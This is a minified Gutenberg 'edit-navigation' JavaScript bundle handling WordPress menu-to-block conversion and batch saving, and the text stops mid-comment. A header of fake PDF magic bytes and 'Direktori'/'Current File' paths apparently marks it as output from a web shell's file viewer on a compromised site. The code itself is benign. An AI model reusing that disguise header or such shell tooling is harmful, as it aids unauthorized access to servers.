%PDF- %PDF-
Direktori : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/edit-navigation/ |
Current File : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/edit-navigation/index.js |
/******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 4403: /***/ ((module, exports) => { var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*! Copyright (c) 2018 Jed Watson. Licensed under the MIT License (MIT), see http://jedwatson.github.io/classnames */ /* global define */ (function () { 'use strict'; var hasOwn = {}.hasOwnProperty; function classNames() { var classes = []; for (var i = 0; i < arguments.length; i++) { var arg = arguments[i]; if (!arg) continue; var argType = typeof arg; if (argType === 'string' || argType === 'number') { classes.push(arg); } else if (Array.isArray(arg)) { if (arg.length) { var inner = classNames.apply(null, arg); if (inner) { classes.push(inner); } } } else if (argType === 'object') { if (arg.toString === Object.prototype.toString) { for (var key in arg) { if (hasOwn.call(arg, key) && arg[key]) { classes.push(key); } } } else { classes.push(arg.toString()); } } } return classes.join(' '); } if ( true && module.exports) { classNames.default = classNames; module.exports = classNames; } else if (true) { // register as 'classnames', consistent with npm package name !(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_RESULT__ = (function () { return classNames; }).apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__), __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); } else {} }()); /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be in strict mode. (() => { "use strict"; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { "__unstableCreateMenuPreloadingMiddleware": () => (/* reexport */ createMenuPreloadingMiddleware), "initialize": () => (/* binding */ initialize) }); // NAMESPACE OBJECT: ./packages/edit-navigation/build-module/store/resolvers.js var resolvers_namespaceObject = {}; __webpack_require__.r(resolvers_namespaceObject); __webpack_require__.d(resolvers_namespaceObject, { "getNavigationPostForMenu": () => (getNavigationPostForMenu) }); // NAMESPACE OBJECT: ./packages/edit-navigation/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { "getNavigationPostForMenu": () => (selectors_getNavigationPostForMenu), "hasResolvedNavigationPost": () => (hasResolvedNavigationPost), "isInserterOpened": () => (isInserterOpened) }); // NAMESPACE OBJECT: ./packages/edit-navigation/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { "saveNavigationPost": () => (saveNavigationPost), "setIsInserterOpened": () => (setIsInserterOpened) }); // NAMESPACE OBJECT: ./packages/interface/build-module/store/actions.js var store_actions_namespaceObject = {}; __webpack_require__.r(store_actions_namespaceObject); __webpack_require__.d(store_actions_namespaceObject, { "disableComplementaryArea": () => (disableComplementaryArea), "enableComplementaryArea": () => (enableComplementaryArea), "pinItem": () => (pinItem), "setDefaultComplementaryArea": () => (setDefaultComplementaryArea), "setFeatureDefaults": () => (setFeatureDefaults), "setFeatureValue": () => (setFeatureValue), "toggleFeature": () => (toggleFeature), "unpinItem": () => (unpinItem) }); // NAMESPACE OBJECT: ./packages/interface/build-module/store/selectors.js var store_selectors_namespaceObject = {}; __webpack_require__.r(store_selectors_namespaceObject); __webpack_require__.d(store_selectors_namespaceObject, { "getActiveComplementaryArea": () => (getActiveComplementaryArea), "isFeatureActive": () => (isFeatureActive), "isItemPinned": () => (isItemPinned) }); ;// CONCATENATED MODULE: external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// CONCATENATED MODULE: external ["wp","blocks"] const external_wp_blocks_namespaceObject = window["wp"]["blocks"]; ;// CONCATENATED MODULE: external ["wp","blockLibrary"] const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"]; ;// CONCATENATED MODULE: external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// CONCATENATED MODULE: external ["wp","coreData"] const external_wp_coreData_namespaceObject = window["wp"]["coreData"]; ;// CONCATENATED MODULE: external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/constants/index.js /** * "Kind" of the menu post. * * @type {string} */ const MENU_KIND = 'root'; /** * "post type" of the menu post. * * @type {string} */ const MENU_POST_TYPE = 'menu'; /** * "Kind" of the navigation post. * * @type {string} */ const NAVIGATION_POST_KIND = 'root'; /** * "post type" of the navigation post. * * @type {string} */ const NAVIGATION_POST_POST_TYPE = 'navigationPost'; /** * The scope name of the editor's complementary area. * * @type {string} */ const SIDEBAR_SCOPE = 'core/edit-navigation'; /** * The identifier of the editor's menu complementary area. * * @type {string} */ const SIDEBAR_MENU = 'edit-navigation/menu'; /** * The identifier of the editor's block complementary area. * * @type {string} */ const SIDEBAR_BLOCK = 'edit-navigation/block-inspector'; /** * The string identifier for the menu item's "target" attribute indicating * the menu item link should open in a new tab. * * @type {string} */ const NEW_TAB_TARGET_ATTRIBUTE = '_blank'; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/store/reducer.js /** * WordPress dependencies */ /** * Reducer tracking whether the inserter is open. * * @param {boolean|Object} state Current state. * @param {Object} action Dispatched action. * @param {string} action.type String indicating action type. * @param {boolean} action.value Flag indicating whether the panel should be open/close. */ function blockInserterPanel() { let state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; let action = arguments.length > 1 ? arguments[1] : undefined; switch (action.type) { case 'SET_IS_INSERTER_OPENED': return action.value; } return state; } /* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ blockInserterPanel })); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/store/utils.js /** * A WP nav_menu_item object. * For more documentation on the individual fields present on a menu item please see: * https://core.trac.wordpress.org/browser/tags/5.7.1/src/wp-includes/nav-menu.php#L789 * * Changes made here should also be mirrored in packages/block-library/src/navigation/map-menu-items-to-blocks.js. * * @typedef WPNavMenuItem * * @property {Object} title stores the raw and rendered versions of the title/label for this menu item. * @property {Array} xfn the XFN relationships expressed in the link of this menu item. * @property {Array} classes the HTML class attributes for this menu item. * @property {string} attr_title the HTML title attribute for this menu item. * @property {string} object The type of object originally represented, such as 'category', 'post', or 'attachment'. * @property {string} object_id The DB ID of the original object this menu item represents, e.g. ID for posts and term_id for categories. * @property {string} description The description of this menu item. * @property {string} url The URL to which this menu item points. * @property {string} type The family of objects originally represented, such as 'post_type' or 'taxonomy'. * @property {string} target The target attribute of the link element for this menu item. */ /** * Builds an ID for a new navigation post. * * @param {number} menuId Menu id. * @return {string} An ID. */ const buildNavigationPostId = menuId => `navigation-post-${menuId}`; /** * Builds a query to resolve menu items. * * @param {number} menuId Menu id. * @return {Object} Query. */ function menuItemsQuery(menuId) { return { menus: menuId, per_page: -1 }; } /** * Get the internal record id from block. * * @typedef {Object} Attributes * @property {string} __internalRecordId The internal record id. * @typedef {Object} Block * @property {Attributes} attributes The attributes of the block. * * @param {Block} block The block. * @return {string} The internal record id. */ function getRecordIdFromBlock(block) { return block.attributes.__internalRecordId; } /** * Add internal record id to block's attributes. * * @param {Block} block The block. * @param {string} recordId The record id. * @return {Block} The updated block. */ function addRecordIdToBlock(block, recordId) { return { ...block, attributes: { ...(block.attributes || {}), __internalRecordId: recordId } }; } /** * Checks if a given block should be persisted as a menu item. * * @param {Object} block Block to check. * @return {boolean} True if a given block should be persisted as a menu item, false otherwise. */ const isBlockSupportedInNav = block => ['core/navigation-link', 'core/navigation-submenu'].includes(block.name); ;// CONCATENATED MODULE: external "lodash" const external_lodash_namespaceObject = window["lodash"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/store/transform.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** * A WP nav_menu_item object. * For more documentation on the individual fields present on a menu item please see: * https://core.trac.wordpress.org/browser/tags/5.7.1/src/wp-includes/nav-menu.php#L789 * * Changes made here should also be mirrored in packages/edit-navigation/src/store/utils.js. * * @typedef WPNavMenuItem * * @property {Object} title stores the raw and rendered versions of the title/label for this menu item. * @property {Array} xfn the XFN relationships expressed in the link of this menu item. * @property {Array} classes the HTML class attributes for this menu item. * @property {string} attr_title the HTML title attribute for this menu item. * @property {string} object The type of object originally represented, such as 'category', 'post', or 'attachment'. * @property {string} object_id The DB ID of the original object this menu item represents, e.g. ID for posts and term_id for categories. * @property {string} description The description of this menu item. * @property {string} url The URL to which this menu item points. * @property {string} type The family of objects originally represented, such as 'post_type' or 'taxonomy'. * @property {string} target The target attribute of the link element for this menu item. */ function blockToMenuItem(block, menuItem, parentId, blockPosition, menuId) { const { menus, meta, _links, ...restMenuItem } = menuItem; menuItem = restMenuItem; menuItem.content = (0,external_lodash_namespaceObject.get)(menuItem.content, 'raw', menuItem.content); let attributes; if (isBlockSupportedInNav(block)) { attributes = blockAttributesToMenuItem(block.attributes); } else { attributes = { type: 'block', content: (0,external_wp_blocks_namespaceObject.serialize)(block) }; } return { ...menuItem, ...attributes, content: attributes.content || '', id: getRecordIdFromBlock(block), menu_order: blockPosition + 1, menus: menuId, parent: !parentId ? 0 : parentId, status: 'publish' }; } /** * Convert block attributes to menu item fields. * * Note that nav_menu_item has defaults provided in Core so in the case of undefined Block attributes * we need only include a subset of values in the knowledge that the defaults will be provided in Core. * * See: https://core.trac.wordpress.org/browser/tags/5.7.1/src/wp-includes/nav-menu.php#L438. * * @param {Object} blockAttributes the block attributes of the block to be converted into menu item fields. * @param {string} blockAttributes.label the visual name of the block shown in the UI. * @param {string} blockAttributes.url the URL for the link. * @param {string} blockAttributes.description a link description. * @param {string} blockAttributes.rel the XFN relationship expressed in the link of this menu item. * @param {string} blockAttributes.className the custom CSS classname attributes for this block. * @param {string} blockAttributes.title the HTML title attribute for the block's link. * @param {string} blockAttributes.type the type of variation of the block used (eg: 'Post', 'Custom', 'Category'...etc). * @param {number} blockAttributes.id the ID of the entity optionally associated with the block's link (eg: the Post ID). * @param {string} blockAttributes.kind the family of objects originally represented, such as 'post-type' or 'taxonomy'. * @param {boolean} blockAttributes.opensInNewTab whether or not the block's link should open in a new tab. * @return {WPNavMenuItem} the menu item (converted from block attributes). */ const blockAttributesToMenuItem = _ref => { var _type; let { label = '', url = '', description, rel, className, title: blockTitleAttr, type, id, kind, opensInNewTab } = _ref; // For historical reasons, the `core/navigation-link` variation type is `tag` // whereas WP Core expects `post_tag` as the `object` type. // To avoid writing a block migration we perform a conversion here. // See also inverse equivalent in `menuItemToBlockAttributes`. if (type && type === 'tag') { type = 'post_tag'; } return { title: label, url, ...((description === null || description === void 0 ? void 0 : description.length) && { description }), ...((rel === null || rel === void 0 ? void 0 : rel.length) && { xfn: rel === null || rel === void 0 ? void 0 : rel.trim().split(' ') }), ...((className === null || className === void 0 ? void 0 : className.length) && { classes: className === null || className === void 0 ? void 0 : className.trim().split(' ') }), ...((blockTitleAttr === null || blockTitleAttr === void 0 ? void 0 : blockTitleAttr.length) && { attr_title: blockTitleAttr }), ...(((_type = type) === null || _type === void 0 ? void 0 : _type.length) && { object: type }), ...((kind === null || kind === void 0 ? void 0 : kind.length) && { type: kind === null || kind === void 0 ? void 0 : kind.replace('-', '_') }), // Only assign object_id if it's a entity type (ie: not "custom"). ...(id && 'custom' !== type && { object_id: id }), target: opensInNewTab ? NEW_TAB_TARGET_ATTRIBUTE : '' }; }; /** * Convert a flat menu item structure to a nested blocks structure. * * @param {Object[]} menuItems An array of menu items. * * @return {WPBlock[]} An array of blocks. */ function menuItemsToBlocks(menuItems) { if (!menuItems) { return null; } const menuTree = createDataTree(menuItems); return mapMenuItemsToBlocks(menuTree); } /** * A recursive function that maps menu item nodes to blocks. * * @param {WPNavMenuItem[]} menuItems An array of WPNavMenuItem items. * @return {Object} Object containing innerBlocks and mapping. */ function mapMenuItemsToBlocks(menuItems) { // The menuItem should be in menu_order sort order. const sortedItems = [...menuItems].sort((a, b) => a.menu_order - b.menu_order); const blocks = sortedItems.map(menuItem => { var _menuItem$children; if (menuItem.type === 'block') { const [block] = (0,external_wp_blocks_namespaceObject.parse)(menuItem.content.raw); if (!block) { return (0,external_wp_blocks_namespaceObject.createBlock)('core/freeform', { content: menuItem.content }); } return block; } const attributes = menuItemToBlockAttributes(menuItem); // If there are children recurse to build those nested blocks. const nestedBlocks = (_menuItem$children = menuItem.children) !== null && _menuItem$children !== void 0 && _menuItem$children.length ? mapMenuItemsToBlocks(menuItem.children) : []; // Create a submenu block when there are inner blocks, or just a link // for a standalone item. const itemBlockName = nestedBlocks !== null && nestedBlocks !== void 0 && nestedBlocks.length ? 'core/navigation-submenu' : 'core/navigation-link'; // Create block with nested "innerBlocks". return (0,external_wp_blocks_namespaceObject.createBlock)(itemBlockName, attributes, nestedBlocks); }); return blocks.map((block, blockIndex) => addRecordIdToBlock(block, sortedItems[blockIndex].id)); } // A few parameters are using snake case, let's embrace that for convenience: /* eslint-disable camelcase */ /** * Convert block attributes to menu item. * * @param {WPNavMenuItem} menuItem the menu item to be converted to block attributes. * @return {Object} the block attributes converted from the WPNavMenuItem item. */ function menuItemToBlockAttributes(_ref2) { var _object; let { title: menuItemTitleField, xfn, classes, attr_title, object, object_id, description, url, type: menuItemTypeField, target } = _ref2; // For historical reasons, the `core/navigation-link` variation type is `tag` // whereas WP Core expects `post_tag` as the `object` type. // To avoid writing a block migration we perform a conversion here. // See also inverse equivalent in `blockAttributesToMenuItem`. if (object && object === 'post_tag') { object = 'tag'; } return { label: (menuItemTitleField === null || menuItemTitleField === void 0 ? void 0 : menuItemTitleField.rendered) || '', ...(((_object = object) === null || _object === void 0 ? void 0 : _object.length) && { type: object }), kind: (menuItemTypeField === null || menuItemTypeField === void 0 ? void 0 : menuItemTypeField.replace('_', '-')) || 'custom', url: url || '', ...((xfn === null || xfn === void 0 ? void 0 : xfn.length) && xfn.join(' ').trim() && { rel: xfn.join(' ').trim() }), ...((classes === null || classes === void 0 ? void 0 : classes.length) && classes.join(' ').trim() && { className: classes.join(' ').trim() }), ...((attr_title === null || attr_title === void 0 ? void 0 : attr_title.length) && { title: attr_title }), ...(object_id && 'custom' !== object && { id: object_id }), ...((description === null || description === void 0 ? void 0 : description.length) && { description }), ...(target === NEW_TAB_TARGET_ATTRIBUTE && { opensInNewTab: true }) }; } /* eslint-enable camelcase */ /** * Creates a nested, hierarchical tree representation from unstructured data that * has an inherent relationship defined between individual items. * * For example, by default, each element in the dataset should have an `id` and * `parent` property where the `parent` property indicates a relationship between * the current item and another item with a matching `id` properties. * * This is useful for building linked lists of data from flat data structures. * * @param {Array} dataset linked data to be rearranged into a hierarchical tree based on relational fields. * @param {string} id the property which uniquely identifies each entry within the array. * @param {*} relation the property which identifies how the current item is related to other items in the data (if at all). * @return {Array} a nested array of parent/child relationships */ function createDataTree(dataset) { let id = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'id'; let relation = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 'parent'; const hashTable = Object.create(null); const dataTree = []; for (const data of dataset) { hashTable[data[id]] = { ...data, children: [] }; } for (const data of dataset) { if (data[relation]) { hashTable[data[relation]] = hashTable[data[relation]] || {}; hashTable[data[relation]].children = hashTable[data[relation]].children || []; hashTable[data[relation]].children.push(hashTable[data[id]]); } else { dataTree.push(hashTable[data[id]]); } } return dataTree; } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/store/resolvers.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Creates a "stub" navigation post reflecting the contents of menu with id=menuId. The * post is meant as a convenient to only exists in runtime and should never be saved. It * enables a convenient way of editing the navigation by using a regular post editor. * * Fetches all menu items, converts them into blocks, and hydrates a new post with them. * * @param {number} menuId The id of menu to create a post from * @return {void} */ const getNavigationPostForMenu = menuId => async _ref => { let { registry, dispatch } = _ref; if (!menuId) { return; } const stubPost = createStubPost(menuId); // Persist an empty post to warm up the state. dispatch(persistPost(stubPost)); // Dispatch startResolution to skip the execution of the real getEntityRecord resolver - it would // issue an http request and fail. const args = [NAVIGATION_POST_KIND, NAVIGATION_POST_POST_TYPE, stubPost.id]; registry.dispatch(external_wp_coreData_namespaceObject.store).startResolution('getEntityRecord', args); // Now let's create a proper one hydrated using actual menu items. const menuItems = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getMenuItems(menuItemsQuery(menuId)); const navigationBlock = createNavigationBlock(menuItems); // Persist the actual post containing the navigation block. const builtPost = createStubPost(menuId, navigationBlock); dispatch(persistPost(builtPost)); // Dispatch finishResolution to conclude startResolution dispatched earlier. registry.dispatch(external_wp_coreData_namespaceObject.store).finishResolution('getEntityRecord', args); }; const createStubPost = function (menuId) { let navigationBlock = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; const id = buildNavigationPostId(menuId); return { id, slug: id, status: 'draft', type: 'page', blocks: navigationBlock ? [navigationBlock] : [], meta: { menuId } }; }; const persistPost = post => _ref2 => { let { registry } = _ref2; registry.dispatch(external_wp_coreData_namespaceObject.store).receiveEntityRecords(NAVIGATION_POST_KIND, NAVIGATION_POST_POST_TYPE, post, { id: post.id }, false); }; /** * Converts an adjacency list of menuItems into a navigation block. * * @param {Array} menuItems a list of menu items * @return {Object} Navigation block */ function createNavigationBlock(menuItems) { const innerBlocks = menuItemsToBlocks(menuItems); return (0,external_wp_blocks_namespaceObject.createBlock)('core/navigation', { orientation: 'vertical' }, innerBlocks); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/store/selectors.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Returns a "stub" navigation post reflecting the contents of menu with id=menuId. The * post is meant as a convenient to only exists in runtime and should never be saved. It * enables a convenient way of editing the navigation by using a regular post editor. * * Related resolver fetches all menu items, converts them into blocks, and hydrates a new post with them. * * @param {number} menuId The id of menu to create a post from. * @return {null|Object} Post once the resolver fetches it, otherwise null */ const selectors_getNavigationPostForMenu = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, menuId) => { // When the record is unavailable, calling getEditedEntityRecord triggers a http // request via it's related resolver. Let's return nothing until getNavigationPostForMenu // resolver marks the record as resolved. if (!hasResolvedNavigationPost(state, menuId)) { return null; } return select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(NAVIGATION_POST_KIND, NAVIGATION_POST_POST_TYPE, buildNavigationPostId(menuId)); }); /** * Returns true if the navigation post related to menuId was already resolved. * * @param {number} menuId The id of menu. * @return {boolean} True if the navigation post related to menuId was already resolved, false otherwise. */ const hasResolvedNavigationPost = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, menuId) => { return select(external_wp_coreData_namespaceObject.store).hasFinishedResolution('getEntityRecord', [NAVIGATION_POST_KIND, NAVIGATION_POST_POST_TYPE, buildNavigationPostId(menuId)]); }); /** * Returns true if the inserter is opened. * * @param {Object} state Global application state. * @return {boolean} Whether the inserter is opened. */ function isInserterOpened() { let state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; return !!(state !== null && state !== void 0 && state.blockInserterPanel); } ;// CONCATENATED MODULE: external ["wp","notices"] const external_wp_notices_namespaceObject = window["wp"]["notices"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/store/constants.js /** * Module Constants */ const STORE_NAME = 'core/edit-navigation'; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/store/actions.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Converts all the blocks into menu items and submits a batch request to save everything at once. * * @param {Object} post A navigation post to process * @return {Function} An action creator */ const saveNavigationPost = post => async _ref => { let { registry, dispatch } = _ref; const lock = await registry.dispatch(external_wp_coreData_namespaceObject.store).__unstableAcquireStoreLock(STORE_NAME, ['savingMenu'], { exclusive: true }); try { const menuId = post.meta.menuId; // Save menu. await registry.dispatch(external_wp_coreData_namespaceObject.store).saveEditedEntityRecord('root', 'menu', menuId, { throwOnError: true }); // Save menu items. const updatedBlocks = await dispatch(batchSaveMenuItems(post.blocks[0], menuId)); // Clear "stub" navigation post edits to avoid a false "dirty" state. registry.dispatch(external_wp_coreData_namespaceObject.store).receiveEntityRecords(NAVIGATION_POST_KIND, NAVIGATION_POST_POST_TYPE, post, undefined); const updatedPost = { ...post, blocks: [updatedBlocks] }; registry.dispatch(external_wp_coreData_namespaceObject.store).receiveEntityRecords(NAVIGATION_POST_KIND, NAVIGATION_POST_POST_TYPE, updatedPost, undefined); registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Navigation saved.'), { type: 'snackbar' }); } catch (saveError) { const errorMessage = saveError ? (0,external_wp_i18n_namespaceObject.sprintf)( /* translators: %s: The text of an error message (potentially untranslated). */ (0,external_wp_i18n_namespaceObject.__)("Unable to save: '%s'"), saveError.message) : (0,external_wp_i18n_namespaceObject.__)('Unable to save: An error ocurred.'); registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(errorMessage, { type: 'snackbar' }); } finally { registry.dispatch(external_wp_coreData_namespaceObject.store).__unstableReleaseStoreLock(lock); } }; /** * Executes appropriate insert, update, and delete operations to turn the current * menu (with id=menuId) into one represented by the passed navigation block. * * @param {Object} navigationBlock The navigation block representing the desired state of the menu. * @param {number} menuId Menu Id to process. * @return {Function} An action creator */ const batchSaveMenuItems = (navigationBlock, menuId) => async _ref2 => { let { dispatch, registry } = _ref2; // Make sure all the existing menu items are available before proceeding. const oldMenuItems = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getMenuItems({ menus: menuId, per_page: -1 }); // Insert placeholders for new menu items to have an ID to work with. // We need that in case these new items have any children. If so, // we need to provide a parent id that we don't have yet. const navBlockWithRecordIds = await dispatch(batchInsertPlaceholderMenuItems(navigationBlock)); // Update menu items. This is separate from deleting, because there // are no consistency guarantees and we don't want to delete something // that was a parent node before another node takes it place. const navBlockAfterUpdates = await dispatch(batchUpdateMenuItems(navBlockWithRecordIds, menuId)); // Delete menu items. const deletedIds = oldMenuItems.map(_ref3 => { let { id } = _ref3; return id; }).filter(id => !blocksTreeToList(navBlockAfterUpdates).map(getRecordIdFromBlock).includes(id)); await dispatch(batchDeleteMenuItems(deletedIds)); return navBlockAfterUpdates; }; /** * Creates a menu item for every block that doesn't have an associated menuItem. * Sends a batch request with one POST /wp/v2/menu-items for every created menu item. * * @param {Object} navigationBlock A navigation block to find created menu items in. * @return {Function} An action creator */ const batchInsertPlaceholderMenuItems = navigationBlock => async _ref4 => { let { registry } = _ref4; const blocksWithoutRecordId = blocksTreeToList(navigationBlock).filter(block => isBlockSupportedInNav(block) && !getRecordIdFromBlock(block)); const tasks = blocksWithoutRecordId.map(() => _ref5 => { let { saveEntityRecord } = _ref5; return saveEntityRecord('root', 'menuItem', { title: (0,external_wp_i18n_namespaceObject.__)('Menu item'), url: '#placeholder', menu_order: 1 }); }); const results = await registry.dispatch(external_wp_coreData_namespaceObject.store).__experimentalBatch(tasks); // Return an updated navigation block with all the IDs in. const blockToResult = new Map(blocksWithoutRecordId.map((block, index) => [block, results[index]])); return mapBlocksTree(navigationBlock, block => { if (!blockToResult.has(block)) { return block; } return addRecordIdToBlock(block, blockToResult.get(block).id); }); }; /** * Updates every menu item where a related block has changed. * Sends a batch request with one PUT /wp/v2/menu-items for every updated menu item. * * @param {Object} navigationBlock A navigation block to find updated menu items in. * @param {number} menuId Menu ID. * @return {Function} An action creator */ const batchUpdateMenuItems = (navigationBlock, menuId) => async _ref6 => { let { registry } = _ref6; const allMenuItems = blocksTreeToAnnotatedList(navigationBlock); const unsupportedMenuItems = allMenuItems.filter(_ref7 => { let { block } = _ref7; return !isBlockSupportedInNav(block); }).map(_ref8 => { let { block } = _ref8; return block.name; }); if (unsupportedMenuItems.length) { window.console.warn((0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: Name of block (i.e. core/legacy-widget) (0,external_wp_i18n_namespaceObject.__)('The following blocks haven\'t been saved because they are not supported: "%s".'), unsupportedMenuItems.join('", "'))); } const updatedMenuItems = allMenuItems // Filter out unsupported blocks. .filter(_ref9 => { let { block } = _ref9; return isBlockSupportedInNav(block); }) // Transform the blocks into menu items. .map(_ref10 => { let { block, parentBlock, childIndex } = _ref10; return blockToMenuItem(block, registry.select(external_wp_coreData_namespaceObject.store).getMenuItem(getRecordIdFromBlock(block)), getRecordIdFromBlock(parentBlock), childIndex, menuId); }) // Filter out menu items without any edits. .filter(menuItem => { // Update an existing entity record. registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('root', 'menuItem', menuItem.id, menuItem, { undoIgnore: true }); return registry.select(external_wp_coreData_namespaceObject.store).hasEditsForEntityRecord('root', 'menuItem', menuItem.id); }); // Map the edited menu items to batch tasks. const tasks = updatedMenuItems.map(menuItem => _ref11 => { let { saveEditedEntityRecord } = _ref11; return saveEditedEntityRecord('root', 'menuItem', menuItem.id); }); await registry.dispatch(external_wp_coreData_namespaceObject.store).__experimentalBatch(tasks); // Throw on failure. @TODO failures should be thrown in core-data updatedMenuItems.forEach(menuItem => { const failure = registry.select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError('root', 'menuItem', menuItem.id); if (failure) { throw new Error(failure.message); } }); // Return an updated navigation block reflecting the changes persisted in the batch update. return mapBlocksTree(navigationBlock, block => { if (!isBlockSupportedInNav(block)) { return block; } const updatedMenuItem = registry.select(external_wp_coreData_namespaceObject.store).getMenuItem(getRecordIdFromBlock(block)); return addRecordIdToBlock({ ...block, attributes: menuItemToBlockAttributes(updatedMenuItem) }, updatedMenuItem.id); }); }; /** * Deletes multiple menu items. * Sends a batch request with one DELETE /wp/v2/menu-items for every deleted menu item. * * @param {Object} deletedIds A list of menu item ids to delete * @return {Function} An action creator */ const batchDeleteMenuItems = deletedIds => async _ref12 => { let { registry } = _ref12; const deleteBatch = deletedIds.map(id => async _ref13 => { let { deleteEntityRecord } = _ref13; const success = await deleteEntityRecord('root', 'menuItem', id, { force: true }); // @TODO failures should be thrown in core-data if (!success) { throw new Error(id); } return success; }); return await registry.dispatch(external_wp_coreData_namespaceObject.store).__experimentalBatch(deleteBatch); }; /** * Turns a recursive list of blocks into a flat list of blocks annotated with * their child index and parent block. * * @param {Object} parentBlock A parent block to flatten * @return {Object} A flat list of blocks, annotated by their index and parent ID, consisting * of all the input blocks and all the inner blocks in the tree. */ function blocksTreeToAnnotatedList(parentBlock) { return (parentBlock.innerBlocks || []).flatMap((innerBlock, index) => [{ block: innerBlock, parentBlock, childIndex: index }].concat(blocksTreeToAnnotatedList(innerBlock))); } function blocksTreeToList(parentBlock) { return blocksTreeToAnnotatedList(parentBlock).map(_ref14 => { let { block } = _ref14; return block; }); } /** * Maps one tree of blocks into another tree by invoking a callback on every node. * * @param {Object} block The root of the mapped tree. * @param {Function} callback The callback to invoke. * @param {Object} parentBlock Internal. The current parent block. * @param {number} idx Internal. The current child index. * @return {Object} A mapped tree. */ function mapBlocksTree(block, callback) { let parentBlock = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null; let idx = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 0; return { ...callback(block, parentBlock, idx), innerBlocks: (block.innerBlocks || []).map((innerBlock, index) => mapBlocksTree(innerBlock, callback, block, index)) }; } /** * Returns an action object used to open/close the inserter. * * @param {boolean|Object} value Whether the inserter should be * opened (true) or closed (false). * To specify an insertion point, * use an object. * @param {string} value.rootClientId The root client ID to insert at. * @param {number} value.insertionIndex The index to insert at. * * @return {Object} Action object. */ function setIsInserterOpened(value) { return { type: 'SET_IS_INSERTER_OPENED', value }; } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Store definition for the edit navigation namespace. * * @see 